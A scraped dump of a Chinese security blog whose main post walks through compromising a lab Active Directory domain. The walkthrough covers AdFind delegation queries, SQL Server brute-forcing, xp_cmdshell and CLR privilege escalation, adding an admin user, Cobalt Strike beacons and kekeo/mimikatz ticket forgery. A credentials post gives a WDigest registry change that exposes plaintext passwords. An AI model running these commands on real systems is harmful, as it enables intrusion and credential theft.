![image-20220508132931259](https://img-blog.csdnimg.cn/img_convert/54805adf717446c36e389f2f90ded000.png)- **判断是否域环境** shell ipconfig /all123![image-20220508133208864](https://img-blog.csdnimg.cn/img_convert/db34af5ab312f9c6f65eb8ebf667d3dc.png) shell net user /domain12345 ![image-20220508133248296](https://img-blog.csdnimg.cn/img_convert/e40d870b22c1485565e4a46cfb11a176.png)- 确定域控主机 IP net group “Domain Controllers” /domain或者 net time /domainping owa -n 21234567891011121314151617181920212223 ![image-20220508133655941](https://img-blog.csdnimg.cn/img_convert/55d83e5cc5fcbc3dbf6231aeafb703e1.png) ![image-20220508133445538](https://img-blog.csdnimg.cn/img_convert/86dc629e56bf721bc246b18d5382c673.png)当前进程是没有域管的,所以暂且放弃令牌窃取![image-20220508134529747](https://img-blog.csdnimg.cn/img_convert/1264e8d021f1d34c6d2a4df6a5266370.png)由于我们已经通过 ms17010 -> mimikatz 拿到了一个域用户的账户密码,尝试查找约束委派的用户首先向 win7 靶机上传 adfind 工具 ```bash# 查询配置了非约束委派的主机:AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName# 查询配置了非约束委派的用户:AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName# 查询配置了约束委派的主机:AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto# 查询配置了约束委派的用户:AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto 找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密 上传 fscan.exe 到靶机进行信息收集和漏洞扫描 PS:如果没有扫到 1433 端口,就进虚拟机把 SQL server 启动,启动不了 看这篇文章:链接,因为过试用期了,需要升级重新输入密码 正常启动 根据他开放的端口尝试以下操作: 80 端口 web 漏洞 1433 SQL server 漏洞 445 smb 等端口系统漏洞 其他拿域控思路:域控被突破的几种途径v2 二层Frp代理现在尝试 80 端口漏洞 搭建使用 frp 多层代理,修改 weblogic 的 frp 配置文件,weblogic 既是客户端,也是服务端,需要修改 frps.ini,通过 cs 上传 frps 和 frps.ini 启动 frps 1shell frps.exe -c frps.ini 数据服务器开启 frpc 1shell frpc.exe -c frpc.ini 12345678[common]server_addr = 10.10.20.12server_port = 1111[http_proxy]type = tcpremote_port = 7777plugin = socks5 建立链接 在攻击者的 windows 电脑上可以用 proxifier 设置代理链 在攻击者的 windows 电脑上可以正常访问 10.10.10.18 发现 80 端口并没有什么利用点,尝试利用 SQL sever,因为现在搭建了二层代理所以部分操作可以用 windows 物理机直接攻击 打数据服务器SQL server尝试爆破 SQL server 密码 使用工具成功爆破用户密码 可以看到流量被转发 这样就拿到了域控主机的 SQL server 密码 随后利用 SharpSQLTools.exe 工具对其进行 xp_cmdshell 调用系统命令,或者 SqlKnife 这个工具 1.\\SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami 却认为域控 ip 目前的权限是nt authority\\network service 即为普通服务权限, 由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了 既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧 一般 iis 的目录是:C:\\inetpub\\wwwroot,那么查看下是否存在 确实存在此目录,尝试写入文件,权限太小失败 在 MSSQL 中使用 CLR 组件提权,提权原理可以看这篇文章:https://www.anquanke.com/post/id/250346 在搜这个提权的时候还发现了一个华点就是搜关键词 install_clr 就可以搜到这个靶场的 wp 使用 SharpSQLTools 开启目标 clr,进行提权 1SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami 然后启用并调用命令: 12SharpSQLTools.exe 10.10.10.18 sa sa master enable_clrSharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami 提权成功,只能说太牛皮了 添加一个管理员权限用户,用户名为 ocean.com 密码为 qwe.123 1SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add" 升级为 admin 组 1SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add" 查看用户 1SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user" 其他师傅试了多种方法都不行,他们最终选择了 msf,我就直接用 msf 了,其他师傅的文章可以在参考连接中找到 上线CS漏洞利用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去 msf 的 payload,但是需要首先为 kali 设置代理,因为之前使用 frp 搭建了二层隧道,所以这里只需要设置 proxychains 的配置文件即可 1.设置 kali proxychains 代理保证 kali msf 可以访问到 10.10.10.18 1vi /etc/proxychains.conf 代理链就和 Windows 物理机一样 2.上线 msf 使用代理启动 msf 1proxychains msfconsole 使用 mssql_clr_payload 模块 1use exploit/windows/mssql/mssql_clr_payload 3.生成中转上线的 cs 马,新建一个监听器,这里需要多层代理 生成 beacon.exe 4.通过 msf 上传 beacon.exe 并且执行,上线 sc,但是只有服务权限 使用 SharpSQLTools.exe 去执行 beacon,获取高权限用户,拿到 SQL server 主机 5.域内委派拿域控cs 中拿到用户密码 之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过约束委派攻击来接管域控 通过 cs 上传工具 kekeo,利用 kekeo 请求该用户的 TGT:[email protected][email protected] 1kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" 然后使用这张 TGT ([email protected][email protected]) 获取域机器的 ST:[email protected]@[email protected] 1kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.redteam.red" 使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt: 1mimikatz kerberos::ptt [email protected]@[email protected] 参考链接 http://moonflower.fun/index.php/2022/03/06/300/ https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ https://xie.infoq.cn/article/2edac2bc38860fa97386f7c27","categories":[{"name":"RedTeam","slug":"RedTeam","permalink":"https://oceansec.github.io/categories/RedTeam/"}],"tags":[{"name":"靶场,Redteam,内网","slug":"靶场-Redteam-内网","permalink":"https://oceansec.github.io/tags/%E9%9D%B6%E5%9C%BA-Redteam-%E5%86%85%E7%BD%91/"}]},{"title":"机械革命z2黑苹果双系统改造计划","slug":"机械革命z2黑苹果双系统改造计划","date":"2023-12-05T02:59:04.862Z","updated":"2023-02-14T02:44:20.820Z","comments":true,"path":"2023/12/05/机械革命z2黑苹果双系统改造计划/","link":"","permalink":"https://oceansec.github.io/2023/12/05/%E6%9C%BA%E6%A2%B0%E9%9D%A9%E5%91%BDz2%E9%BB%91%E8%8B%B9%E6%9E%9C%E5%8F%8C%E7%B3%BB%E7%BB%9F%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92/","excerpt":"","text":"机械革命z2黑苹果改造计划 原来的系统硬盘才256G实在太小了,趁固态便宜搞了一块大华C900Plus-b 1T固态,加上之前电脑里后加的一块海康威视c2000pro 1T准备搞一个win+mac双系统生产力工具 黑苹果效果展示 黑苹果的详细教程b站上有很多,也可以看下国光师傅的博客,https://apple.sqlsec.com/,有文字和视频教程,对于黑苹果引导efi有非常详细的介绍 当然网上也有大神提供了适配好efi的直装镜像,https://www.cmbs-soft.com/,这个网站提供针对机械革命系列笔记本电脑的efi引导文件和直装镜像 直装镜像的黑苹果安装步骤以下步骤双硬盘windows+macos系统,即为一个硬盘安装windows一个硬盘安装macOS,这样可以保证一个系统出现问题时另外一个系统的稳定性。单硬盘双系统也大同小异 1.写入U盘使用将镜像写入U盘U盘必须大于等于16G,保证稳定性请尽量不要使用2.0或水货盘 其实镜像写入U盘工具有很多可以根据自己现在的电脑系统做选择,想装黑苹果的小伙伴大概用的都是windows吧,可选工具及下载列表如下: transmac,刻录教程(我用的这个工具一次成功) balenetcher,刻录教程(我自己windows11真实体验写入u盘10多次没有一次成功,优点就是跨平台) rufus 2.将BIOS中Secureboot关闭后从U盘启动这个可以在重启时按相应的快捷键进入bios,机械革命系列可以按F10,在bios找到secureboot关闭,保存后退出 因为插了u盘,bios保存开机后会有选择启动项的界面,类似下图界面吧,如果有opencore可以直接选择,没有可以选择u盘名称的UEFI OS的第一个就是opencore分区 选择后可以进入opencore界面 3.在磁盘工具中抹除预留的安装分区或磁盘 选择要安装macos系统的硬盘或分区,点击右上角的抹除 选择硬盘的话也就是将macos安装于单独的硬盘,适用于双硬盘双系统或只黑苹果 选择分区的话也就是单硬盘安装双系统,磁盘划分可以参考国光师傅教程 下图为选择分区情况,选择硬盘时多一个“分区”选择项,选择:GUID分区图 名字随意,格式需要选择macos系统格式APFS,APFS类似于windows的NTFS格式,这里需要注意的是mac不能读取NTFS格式的u盘,u盘可以格式化为exFAT确保跨双系统正常使用 抹初后退出磁盘工具 4.选择安装MACOS接下来就是正常的macos安装过程,选择刚才抹除的磁盘,图形化安装即可,安装过程中系统会多次重启 5.安装完成后使用DiskGenius和EasyUEFI将引导转移至本地做完上一步,系统就可以正常使用了,因为现在macos是u盘引导启动的,接下来要做的就是把引导复制到固态硬盘中,这一步可以在Windows进行也可以在macos中进行,Windows可以使用Disk Genius,macos可以用occ(opencore-configurator) 打开之后,选择右上角的 OCC 图标,点击,找到自己的安装系统的硬盘,点击”挂载分区“ 挂载u盘引导分区 将oc目录复制到硬盘目录下 因为我这次是双硬盘双系统,所以可以不用使用工具去创建启动项,直接在bios中将里面将磁盘的引导设置第 1 启动即可 如果是单硬盘双系统可以使用EasyUEFI或者Diskgenius工具创建启动项 EasyUEFI 破解版下载地址:https://sqlsec.lanzouw.com/i4amxzmj1cj EasyUEFI使用步骤如下 选择管理EFI启动项 选择创建新项 操作系统类型选择Linux 或者其他操作系统,描述随便,目标分区选择硬盘的第一个 ESP 引导分区,然后点击浏览数据,选择 EFI/OC/ 目录下的 OpenCpre.efi 文化后,点击确定即可 上移启动项为第一项 如果启动时仍旧无法选择,可以在bios中修改启动项,自此黑苹果安装完毕 优化-系统迁移因为原来的系统盘是256G的stat3固态,现在手头有两个1t固态,一个已经装了macos,另一个准备替换原来的win所在的256G系统盘将系统迁移到1t固态上,正好用上两个固态插槽 做系统迁移也很简单,直接使用DiskGenius就可以了,当然也有其他的工具比如海康威视固态自带的工具magiclBox,可以系统迁移也可以做全盘迁移 Diskgenius 工具-系统迁移 选择目标盘,目标磁盘可以小于源磁盘,但是目标磁盘容量需大于源磁盘的已用数据总量 接下来按提示操作即可,擦出磁盘,迁移模式选择热迁移等待片刻重启即可 具体可以看DG的官方教程:链接 总结 目前系统没什么bug,小版本可以直接在系统设置中更新,大版本需要考虑等大神的efi 但更新完成后请记得关闭Filevault(文件保险箱),更新完成后的设置后可能会出现此小房子图标的勾选,请记得去掉勾选 因为是intel网卡,Wi-Fi和蓝牙可以正常使用,随航和隔空投送功能不可使用,需要替换博通网卡,大部分机器显卡没有驱动不能正常使用 在就是说Windows系统磁盘格式为ntfs文件系统格式,mac系统磁盘格式为apfs文件系统格式,两系统都能使用的是exFAT格式,如果是u盘或者用一个硬盘安装双系统另一硬盘也可用此格式 读写NTFS问题:MACOS原生仅仅支持对NTFS分区进行读操作,不可进行写入,如使用脚本、软件强制开启NTFS独显,可能会导致WIN蓝屏报错,建议划分出一块EXFAT分区进行读写操作 如果某个工具一直不成功可以考虑换一个工具 在macos中可以明显感觉出比在win11中电脑运行速度有所提升,内存占用也减少了,风扇转的也少了 键盘问题有一些按键对应根据键盘区别也有所不同,触控板手势肯定没macbook好用 还有意外收获,在win下不能识别也不能正常格式化的金士顿16G u盘,在macos下抹除后竟然可以用了,amazing!!!","categories":[{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/categories/%E9%BB%91%E8%8B%B9%E6%9E%9C/"}],"tags":[{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/tags/%E9%BB%91%E8%8B%B9%E6%9E%9C/"}]},{"title":"新博客介绍,旧博客地址:https://oceansec.blog.csdn.net","slug":"新博客介绍,旧博客地址:oceansec.blog.csdn.net","date":"2023-12-05T02:59:04.860Z","updated":"2022-09-07T03:16:18.740Z","comments":true,"path":"2023/12/05/新博客介绍,旧博客地址:oceansec.blog.csdn.net/","link":"","permalink":"https://oceansec.github.io/2023/12/05/%E6%96%B0%E5%8D%9A%E5%AE%A2%E4%BB%8B%E7%BB%8D%EF%BC%8C%E6%97%A7%E5%8D%9A%E5%AE%A2%E5%9C%B0%E5%9D%80%EF%BC%9Aoceansec.blog.csdn.net/","excerpt":"","text":"欢迎来到 Ocean 的新博客,旧博客 oceansec.blog.csdn.net 将不再更新,新博客将对发布内容深度提升,不再是小白文了哈哈哈,希望大家能到学到东西","categories":[{"name":"介绍","slug":"介绍","permalink":"https://oceansec.github.io/categories/%E4%BB%8B%E7%BB%8D/"}],"tags":[{"name":"介绍","slug":"介绍","permalink":"https://oceansec.github.io/tags/%E4%BB%8B%E7%BB%8D/"}]},{"title":"年中结","slug":"年中结","date":"2023-12-05T02:59:04.858Z","updated":"2022-09-09T06:17:38.430Z","comments":true,"path":"2023/12/05/年中结/","link":"","permalink":"https://oceansec.github.io/2023/12/05/%E5%B9%B4%E4%B8%AD%E7%BB%93/","excerpt":"","text":"好像上半年只有两件事情,找实习和实习哈哈哈,找实习之前有总结过,这次主要说下实习 两个月前的我以蓝军实习生的身份进入 JD,记得刚下地铁站出门望去就是 JD 大楼,不得不说 JD 真的挺大的。初入社会的走向工作的我还有些不适应,总是忘记上下班打卡,总是不知道开会该说些啥,两个月的时间让我成长了许多,明白了工作要有产出,知道了做一个社畜的自我修养工作呢,我平时主要的任务基本就三项: 学习提升 内部赋能 HW 先来谈谈我的学习,蓝军给实习生的学习成长空间是真的足,基本一半的时间都可以自己安排进行学习。因为之前打内网的时候 mimikatz 这些工具用的就比较多,但是不了解这些工具为什么能够实现这样的效果,还有就是一个合格的安全工程师怎么能少的了学习 Windows 呢,因为Windows体系真的挺庞大的。打内网不用说了全是 Windows 的协议 Ntlm、Kerberos,免杀更是在Windows环境下和杀软斗志斗勇,如果连Windows都不了解咋去搞,还有就是钓鱼这个和Word、PE格式文件又密不可分 我是从 Windows 内核开始学起,然后去了解 Windows 安全机制,其中涉及挺多 C/C++/C# 代码的,所以看起来还是比较费力的,中间由于两次 hw 现在还是没有搞透彻,Windows 这条路还很长,还需要深入研究,争取早日成为免杀大帝,之后会把笔记整理放到博客上呀 HW 呢,谁能想到两个月的实习能赶上一年唯二参加的两次 hw,不知道是幸运还是不幸。黑白颠倒还是有些不适应,也得了蜜罐 PTSD,懂得了只有做到全套匿名才能不蹑手蹑脚随便搞,经过 hw 也是学到了挺多技巧,也感受到了钓鱼佬的快乐,鱼在手天下有,蓝军大佬自研的 c2 真滴好用,还有很多东西需要学习,学习路漫漫,向大佬们学习 通过实习终于是体会到了打工人的生活,遇到了好多大佬也发现自己的不足还有很多技术栈需要去补充,学习和实践还是有很大的差距的,这也是给以后的学习提了个醒,每个学习目标都需要有产出,做一个合格的打工人","categories":[{"name":"总结","slug":"总结","permalink":"https://oceansec.github.io/categories/%E6%80%BB%E7%BB%93/"}],"tags":[{"name":"总结","slug":"总结","permalink":"https://oceansec.github.io/tags/%E6%80%BB%E7%BB%93/"}]},{"title":"机械革命z2黑苹果改造计划第二番-MacOS实用软件&渗透工具","slug":"双系统改造计划第二番-实用软件","date":"2023-12-05T02:59:04.856Z","updated":"2023-02-14T09:04:55.960Z","comments":true,"path":"2023/12/05/双系统改造计划第二番-实用软件/","link":"","permalink":"https://oceansec.github.io/2023/12/05/%E5%8F%8C%E7%B3%BB%E7%BB%9F%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%AC%AC%E4%BA%8C%E7%95%AA-%E5%AE%9E%E7%94%A8%E8%BD%AF%E4%BB%B6/","excerpt":"","text":"机械革命z2黑苹果改造计划第二番-实用软件 Mac实用工具这是旧电脑改造计划的第二篇,就是安装一些常用软件和一些渗透测试工具,武装灵魂成为真正的生产力工具 首先推荐一个网站,www.mactools.app,这个软件里边有大多数常用的软件和一些渗透测试工具,而且都是「加工」过的,可以直接使用 还有一个网站就是机械革命黑果论坛,里边也提供了一些软件技巧和软件可供下载 实用技巧 实用软件 除此之外还要一些软件和遇到的问题 Homebrew Homebrew是一款自由及开放源代码的软件包管理系统,用以简化macOS系统上的软件安装过程,可以理解为linux apt-get/yum 安装是非常简单的,网上提供了现成的安装命令 1/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" 安装之后,可以通过brew去安装其他工具,相关工具列表,链接 什么python、Java、go等环境也可以通过brew去安很方便 vmware fusion 这个工具其实没啥好说的,就是虚拟机,macos上有parallels desktop可以选择更好用点,但是vmware厉害生成虚拟机一般都可以在macOS/win上互相用,而且vmware在「白嫖」方面更加友好,网上随便一搜就有 因为我原来的win电脑上有十多个虚拟机,可以直接在文件-扫描虚拟机找到全部虚拟机 如果不能导入的可以参考以下方法 把整个目录的目录名加上后缀 .vmwarevm 双击就可以直接用vmfusion打开了 如果还不行的话就在win系统上导出为ovf文件 在windows把虚拟机导出成开放虚拟机文件.ovf 一共产三个文件 .ovf,.mf,.vmdk 把这三个文件拷贝到mac下 用funsion导入虚拟机 还有就是我在vmware安装之后启动闪退,后来也找到了方法 打开「访达」,「应用程序」,找到「VMware Fusion」,点击「右键」(辅助点按),选择「显示包内容」,依次进入「Contents」/「Library」,找到这个文件「Deploy VMware Fusion.mpkg」,双击运行并按照向导完成安装。重新双击运行「VMware Fusion」,即不再闪退 parallels desktop 更适合macOS的虚拟机,激活方式 Typora 我认为最好用的文档工具没有之一,现在最新版是收费版本,只需要下载原来的beta版本即可 Windows 64bit (exe) https://download.typora.io/windows/typora-setup-x64-0.11.18.exe Windows 32bit (exe) https://download.typora.io/windows/typora-setup-ia32-0.11.18.exe MacOS https://download.typora.io/mac/Typora-0.11.18.dmg Linux https://download.typora.io/linux/typora_0.11.18_amd64.deb iStat Menus 可以在通知栏显示一些电脑的基本信息 iStat Menus for mac License 屏幕录制转gif图片 可以直接用licecap这个软件,缺点就是无法录到下方导航栏 使用Quicktime player录制屏幕然后使用ffmpeg工具将mov视频转为gif图片,命令如下 1ffmpeg -i file.mov -r 15 file.gif","categories":[{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/categories/%E9%BB%91%E8%8B%B9%E6%9E%9C/"}],"tags":[{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/tags/%E9%BB%91%E8%8B%B9%E6%9E%9C/"}]},{"title":"机械革命黑苹果改造计划第四番-外接显示器、win时间不正确问题解决","slug":"双系统改造计划-问题解决篇","date":"2023-12-05T02:59:04.854Z","updated":"2023-02-20T10:55:18.700Z","comments":true,"path":"2023/12/05/双系统改造计划-问题解决篇/","link":"","permalink":"https://oceansec.github.io/2023/12/05/%E5%8F%8C%E7%B3%BB%E7%BB%9F%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92-%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3%E7%AF%87/","excerpt":"","text":"问题1.无法外接显示器最大的问题就是目前无法外接显示器,因为机械革命大多数型号笔记本电脑的HDMI、DP接口都是直接物理接在独显上的,内屏用核显外接显示器接独显,英伟达独显也是黑苹果无法驱动的,而且发现机械革命tpyec接口还减配了没有视频功能真拉胯,这个问题也是要区别对待的,可以看看自己的电脑支不支持在bios切换显卡模式,有独显直连、混合模式(独显运算核显输出) 在网上找了好多教程,只找到了一种折中的解决方法,就是使用支持display link技术的外置usb3.0显卡(或者称为usb显卡适配器) display link DisplayLink是一个通过USB接口实现显示器连接到电脑的连接技术,可以非常简单、方便的连接电脑和多个显示设备。该技术可以通过USB接口扩展虚拟的电脑的桌面。DisplayLink技术最多可以支持6台显示器同时显示32位色彩的任意分辨率画面 DisplayLink可以通过一个自建驱动,在系统中模拟出多个显示器设备,并且通过USB接口将数据输出到外部DisplayLink芯片,并且转换为DisplayPort 或者HDMI信号,从而驱动多台显示器 这样虽然是可以实现外接屏幕,但是由于DisplayLink是使用软件去压缩视频信号,因此它本身也依赖于系统的CPU,并且在视频画面变化比较剧烈的时候,需要的CPU资源会相比静态画面时要求更高,可能会出现延迟 再就是usb外置显卡在价格上面也是比较贵的,一般百元以内的都不是display link芯片,且最高只能支持1080p 60hz,最新的display link DL-6000系列芯片可以支持4k60hz分辨率,在 DisplayLink 官方网站的产品列表可以查到了一些使用DL-6950芯片的扩展坞,购买时一定要认准,多可以去闲鱼淘淘宝 因为m1芯片的mac也只能支持一台外接显示器,有人把display link用到了外接屏幕上,就是要 4K 双显,M1 MacBook Pro + DisplayLink 性能体验测试,也有黑苹果大佬遇到同样的问题,链接 2.双系统Windows时间不正确装好系统后发现,每次Windows启动后系统时间总是不正确会慢8个小时,搜索之后发现是Windows和macOS计算时间的方法不一样,Windows会把硬件的时间当做本地时间,而Mac会计算UTC来当做系统时间,比如说北京时间是GMT+8,则系统中显示时间是硬件时间+8这样,当PC中同时有多系统共存时,就出现了问题 解决方法: WIN+x 选择管理员模式进入CMD,复制下面的代码,点击CDM右键可以直接进行粘贴,然后按回车键即可。 1Reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation /v RealTimeIsUniversal /t REG_DWORD /d 1 运行后重启电脑即可","categories":[{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/categories/%E9%BB%91%E8%8B%B9%E6%9E%9C/"}],"tags":[{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/tags/%E9%BB%91%E8%8B%B9%E6%9E%9C/"}]},{"title":"windows凭证机制浅析","slug":"windows凭证机制浅析","date":"2023-12-05T02:59:04.852Z","updated":"2022-09-14T09:19:31.410Z","comments":true,"path":"2023/12/05/windows凭证机制浅析/","link":"","permalink":"https://oceansec.github.io/2023/12/05/windows%E5%87%AD%E8%AF%81%E6%9C%BA%E5%88%B6%E6%B5%85%E6%9E%90/","excerpt":"","text":"我们知道在 win10/server2012 及以上版本开启 Wdigest 的情况下通过 mimikatz 是拿不到明文密码的,需要通过注册表开启 wdigest 才能抓到明文密码,本文通过 windbg 调试来看内存中发生了怎样的变化 在调试之前先来看一下 Windows 凭证机制的基础知识 Windows凭证机制关键基础设施SAM文件SAM (安全账户管理器),SAM 用来存储 Windows 操作系统密码的数据库文件,为了避免明文密码泄露,SAM 文件中保存的是明文密码经过一系列算法处理过的 Hash 值,被保存的 Hash 分为 LM Hash(现已废弃)、NTLMHash(长度32bit由字母数字组成)。在用户在本地或者远程登陆系统时,会将 Hash 值与 SAM 文件中保存的 Hash 值进行对比。在后期的 Windows 系统中,SAM 文件中被保存的密码 Hash 都被密钥 SYSKEY 加密 SAM 文件在磁盘中的位置在:C:\\windows\\system32\\config\\sam SAM 文件在 Windows 系统启动后被系统锁定,无法进行移动和复制 SAM 就是用来存放用户密码、Internet Explorer 密码,服务账号密码、SQL 密码、系统账户密码、配置的计划任务账户密码 Lsass进程本地安全管理局子系统服务 (LSASS) 是 Microsoft Windows 操作系统中的一个进程,负责在系统上强制执行安全策略。它验证用户登录到 Windows 计算机或服务器、处理密码更改、创建访问令牌等。我们常说的 dump lsass 就是对转存 Lsass 进程中的明文登陆密码 Windows认证流程Windows本地认证 Window 本地登录过程如上图所示:注销或开机后:弹出登录界面,用于接受用户输入,winlogon.exe 进程用于管理用户的登录和退出,用户输入密码进行登录时发生如下操作: winlogon.exe 进程将账号密码给 lsass.exe 进程进行处理,并将明文密码缓存在进程中 lsass.exe 进程,将明文密码加密成 NTLM Hash,对 SAM 数据库比较认证 如果比较结果相同则登录成功,不相同登录失败,分析整个过程会存在两个问题: lsass.exe 进程会将明文密码换存在进程中,这也是为什么低版本系统可以直接抓到明文密码的原因 使用 NTLM hash 进行比较,由于 NTLM 协议没有对认证发起人进行校验,如果攻击者通过某些手段可以拿到 hash,攻击者可以通过捕获密码的 hash 值(对应着密码的值),以此来横向访问其他网络系统,即 PTH 哈希传递攻击 补充:除了本地认证还有基于 NTLM 协议实现的网络认证和基于 Kerberos 协议实现的域认证 什么是Wdigest?WDigest 即摘要身份验证,摘要身份验证是一种质询/响应协议,主要在 Windows Server 2003 中用于 LDAP 和基于 Web 的身份验证。它利用超文本传输协议 (HTTP) 和简单身份验证安全层 (SASL) 交换进行身份验证。WDigest 的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中 在 win 7 和 2008 r2 及之前都是默认开启 Wdigest 且无法禁用,需要额外安装 KB2871997 补丁禁用 wdigest(但是 WIN7 以及 08 以后的系统中微软都默认禁止了 Wdigest 协议) 所以在 win10/server2012 及以上版本关闭 Wdigest 的情况下,抓密码需要手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码 修改注册表的命令: 1reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 也可以通过 powershell、msf 等修改注册表 关于 mimikatz 是如何实现 sekurlsa::wdigest 的代码分析可以看这篇文章:调试mimikatz源码:wdigest功能源码调试详细过程及分析 windbg调试Windbg 是微软开发的免费源码级调试工具。Windbg 可以用于 Kernel 模式调试和用户模式调试,还可以调试 Dump 文件 官方文档及下载地址:https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/debugger-download-tools 在调试 windows 时,无法简单地将 WinDBG 附加到 lsass 上,如果这么操作,Windows 会停止运行,警告用户系统即将重启。因此,我们需要 attach 内核,然后从 Ring-0 切换到 lsass 进程 双机远程调试环境搭建实验环境 Windows 11 物理机 + windbg Windows 10 虚拟机(桥接模式) 微软 旧版使用com接口: win10使用winDbg与VMware中的win7进行双机调试 新版使用网络连接: 自动设置 KDNET 网络内核调试 注意:运行调试器的计算机称为主计算机,正在调试的计算机称为目标计算机。 使用自动设置主计算机必须运行 Windows 7 或更高版本,并且目标计算机必须 Windows 8 或更高版本运行 手动设置 KDNET 网络内核调试 接下来我们进行配置,我是用的是最基础的 com 串口方式连接 目标虚拟机设置串口,使用命名的管道要\\\\.\\pipe\\前缀,后面的名字可以自己写一个短的好记的 目标机器内配置调试参数 bcdedit 根据 default 生成一个新的启动项,用来调试,其实通过 bcdedit /enum 并没有看到 default 这个名字 1bcdedit /copy {default} /d "vmdebug" 已将该项成功复制到 {7985b4ec-581d-11ec-bee9-8214e8b021aa} 复制一下这个 id,粘贴到真实机的文档里面 此时重启的话会有多一个启动项选择,但是看不到,需要设置 timeout,让系统停留在启动项的选择界面 1bcdedit /timeout 10 设置 timeout 会在启动项选择界面停留 10 秒钟,超过 10 秒钟则进入默认启动项 重启后从 vmdebug 选项进入,设置 vmdebug 为调试模式,以免影响默认启动方式的系统环境 1bcdedit /dbgsettings serial baudrate:115200 debugport:2 注意这个 debugport,就是创建虚拟机串口的端口号,从创建时的截图看,串行端口 2,debugport 应该就是 2,如果不知道。那只能先设置一个,然后连不上的时候再重新输入命令修改串口 1bcdedit /debug {ID} ON ID是从 bcdedit /copy 创建出 vmdebug 后生成的 id,也可以通过 bcdedit /enum 查询 重启,停在开机启动项 使用 windbg 链接 如果一直提示 busy,使用 ctrl+break 键中断,87 键键盘需要(FN+Pause),进入调试器 TIP: 内核调试必须使用双机调试 windbg preview 比旧版好用 等系统进入输入密码界面,再 break,之后就会有 lsass 进程 调试分析命令行参数 WinDbg 命令手册 windbg使用详解 attach内核调试器后,我们需要抓取lsass进程的EPROCESS地址,可以使用如下命令!process 0 0 lsass.exe 确定EPROCESS地址后(ffff9d01325a7080),我们可以请求将调试会话切换到lsass进程的上下文 1.process /i /p /r ffff9d01325a7080 使用lm命令来确定空间的访问权限 在开启 wdigest 前通过 mimikatz 导出密码 通过修改注册表开启 UseLogonCredential ,查看内存中的变化 (图片引用自安全客) 锁屏后等待用户重新登录,然后再导密码就是保存的明文密码了 关于 mimikatz wdigest 模块是如何实现可以看以下两篇分析文章: 探索Mimikatz-第1部分-WDigest 深入分析Mimikatz:WDigest 参考链接 Windows凭证机制 利用WinDbg本地内核调试器攻陷 Windows 内核","categories":[{"name":"Windows","slug":"Windows","permalink":"https://oceansec.github.io/categories/Windows/"}],"tags":[{"name":"windows,mimikatz","slug":"windows-mimikatz","permalink":"https://oceansec.github.io/tags/windows-mimikatz/"}]},{"title":"Windows MSDT RCE(CVE-2022-30190)复现","slug":"Windows MSDT RCE(CVE-2022-30190)复现","date":"2023-12-05T02:59:04.850Z","updated":"2022-08-13T12:34:05.510Z","comments":true,"path":"2023/12/05/Windows MSDT RCE(CVE-2022-30190)复现/","link":"","permalink":"https://oceansec.github.io/2023/12/05/Windows%20MSDT%20RCE(CVE-2022-30190)%E5%A4%8D%E7%8E%B0/","excerpt":"","text":"介绍 可利用恶意 Office 文件中的远程模板功能从远程网络服务器获取恶意 HTML 文件,通过微软支持诊断工具(Microsoft Support Diagnostic Tool,MSDT)执行恶意 PowerShell 代码。该漏洞在宏被禁用的情况下,仍然可以调用 MSDT 执行恶意代码。并且当恶意文件另存为 RTF 格式时,还可以通过 Windows 资源管理器中的预览窗格触发此 rce 的调用,无需执行也可以在目标机器上执行任意代码。 利用 RCE 能够在非管理员权限、禁用宏且在 windows defender 开启的情况下绕过防护,达到上线的效果 1RTF是Rich Text Format的缩写,意即多文本格式。 